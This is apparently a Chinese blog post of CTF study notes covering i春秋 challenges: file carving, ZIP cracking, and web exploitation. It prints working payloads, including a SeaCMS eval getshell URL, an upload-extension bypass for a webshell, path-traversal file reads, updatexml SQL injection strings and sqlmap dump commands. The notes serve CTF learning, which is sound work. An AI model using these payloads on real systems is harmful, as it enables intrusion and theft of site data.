ctf笔记(i春秋) 19.‎10‎.4-19.10.21‎

风格不统一 提交于 2019-12-01 19:21:55
本次笔记以i春秋为主


R.I.P Transmission
题目给了个名为RIP的文件,winhex查看文件头发现是ELF文件,使用rar可以打开但提示损坏
打开kail,使用binwalk:binwalk -e 文件名
解析出压缩包,rar工具打开提示损坏,修复后
用fcrackzip字典爆破:fcrackzip -D -p '/usr/share/wordlists/rockyou.txt' -u 文件名(注意,rockyou有可能是以压缩包的形式存在,如果是要先解压)

实验室的logo
题目给jpg图片,右键属性查看详细信息,无提示,winrar打开失败,winhex发现是jpg文件,ps打开没发现多图层或其他信息
binwalk解析,发现该文件其实是两张jpg图片,在winhex中跳转偏移量到第二张图片的位置,复制之后的所有数据,新建文件粘贴,保存为jpg文件,再打开即可

加密的文档
题目给zip文件,打开发现有密码保护,用winhex打开发现压缩源文件数据区全局方式位标记位为0,有可能是伪加密
因为解压的pkware版本为1400,直接16进制全局搜索1400,发现在压缩源文件目录区的全局方式位标记为09,改为00,保存。
重新打开压缩文件解压里面的word文档,直接打开发现打开失败。
用winhex打开,发现PK字样,改后缀为zip重新打开,在image中可找到flag

123
题目给出一个登录页面,万能密码无效、工具扫描无其他目录
查看源码发现提示用户在user.php中,直接访问php无回显内容,访问user.php.bak可获得文件
根据提示,默认密码=用户名+年份,用bp爆破(锁定年份在1980-2019),进入后台
bp抓包发现注释段有文件上传漏洞,传图马提示文件名不合法
在试过各种上传绕过手段后发现,直接上传一张图片并用bp改后缀名为.jpg.pht即可(php族)(利用apache从右往左解析文件名的特性进行绕过)
给出提示,view.php,在该页面又有提示?file
直接访问view.php?file=,提示filter"flag",大小写绕过无效后采用双写绕过即可

test
题目给出一个海洋cms的网站,根据搜索,发现存在前台geishell漏洞和后台getshell漏洞,这里采用前台getshell漏洞
payload:search.php/?searchtype=5&tid=&area=eval($_POST[1])
菜刀连接时也是连接整个url而非php
目录下无文件,寻找数据库,在seacms库中发现flag表,执行select * from 表名,即可获得flag

login
题目给出登录框,万能密码登录无效后,查看源码发现给出账户和密码
登录进去后发现member.php的request有show:0这一参数
在get member.php中添加show:1则回显源码
发现关键源码:
if(isset($requset['token'])) $login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu') echo $flag;
构造解密语句:
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
得到token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
重新访问member.php页面,并在cookie中加入token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==;即可

Not Found
题目给出一个Not Found的网页,按提示打开404.php,没任何帮助
bp抓包,发现response中有X-Method: haha,可能是提示提交方式需要改变
在post、get方式均无效的情况下,根据网上提示,采用其他提交方式
提交方式共有:GET/POST/PUT/HEAD/CONNECT/OPTIONS/TRACE/DELETE/PATCH
put相当于不支持表单的post,head只请求http头,connect测试连接状态,options查看服务器性能,patch补充put,trace回显服务器请求
在各种提交方式中,options返回了新内容:?f=1.php
访问,提示not here,根据网上提示,要访问.htaccess文件,利用?f=.htaccess访问,发现里面有新网址
访问新网址,提示ip incorrect XFF?,尝试XFF失败后,根据网上提示,使用client-ip成功获取flag

GetFlag
题目给出一个登录框和验证码哈希值的前6位,审核源码没发现其他有用信息
采用哈希截断爆破的方式,用脚本爆破出验证码
用' or 1=1#或admin'#的万能密码进行登录('-- '方式无效)
发现给出三个文件的下载,逐一打开查看后,发现提示flag在根目录
发现下载方式是采用download.php?f=xxx,构造跨越目录download.php?f=../flag
发现提示flag不在此,根据网上提示,linux web的绝对地址为/var/www/html/,构造download.php?f=/var/www/html/Challenges/flag.php
(var前面的斜杠不能漏,flag.php也不能写成flag)
下载文件后,审计代码发现:
$f = $_POST['flag'];if ($spaceone === 'flag'){
	echo file_get_contents("helloctf.php");
}
直接POST flag=flag;即可(;不可以省略)(若直接访问helloctf.php会提示error)
Vld
题目给出提示,使用vld,审核源码发现index.php.txt
访问txt发现有通过vld形成的opcode,根据学习发现:BEGIN_SILENCE=@、EXT_STMT=、FETCH_R表示从某个变量中取出值并把这个值赋给另一个变量、JMPZ表示判断值为flase时进行跳转
根据题意,用get方式赋值flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi即可
得到提示,1chunqiu.zip
在根目录下访问,得到1chunqiu源码,内含login.html、login.php、dbmysql.class.php等文件
审计代码后,发现关键代码:
$username = trim(str_replace($number, '', $username));
public function safe_data($value){
        if( MAGIC_QUOTES_GPC ){
            stripcslashes($value);
        }
        return addslashes($value);
    }
在上述代码中,句1会将username中与number值相等的字符串删去
句2则是安全函数,会转义'、"、%00等字符串
根据以上可以构造1%00'进行单引号逃逸,%00'->/0/',若number=0则变为//',即单引号逃逸
访问/1chunqiu/login.html,使用updatexml的方式进行报错注入,构造payload:
number=0&username=1%00' or updatexml(1,substr((sql inject),1,41),1)&password=1
因为updatexml报错最多爆出32位字符,所以可截断为
number=0&username=1%00' or updatexml(1,substr((sql inject),11,41),1) 查看后面未显示的字符
逃课方式:
盲猜存在flag表中存在flag字段
number=0&username=1%00' or updatexml(1,substr((select flag from flag),1,41),1) 
number=0&username=1%00' or updatexml(1,substr((select flag from flag),11,41),1) 
获得值为{xxx}后,在提交时补上flag,即flag{xxx}即可

sqlmap用法
sqlmap -u URL dbs 获取全部库名
sqlmap -u URL --current-db 获取当前库名
sqlmap -u URL --tables -D "库名" 获取表名
sqlmap -u URL --columns -D "库名" -T "表名" 获取字段名
sqlmap -u URL --dump -D "库名" -T "表名" -C "字段名" 获取字段值(同时获取多个字段值时,字段名之间用逗号隔开)
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!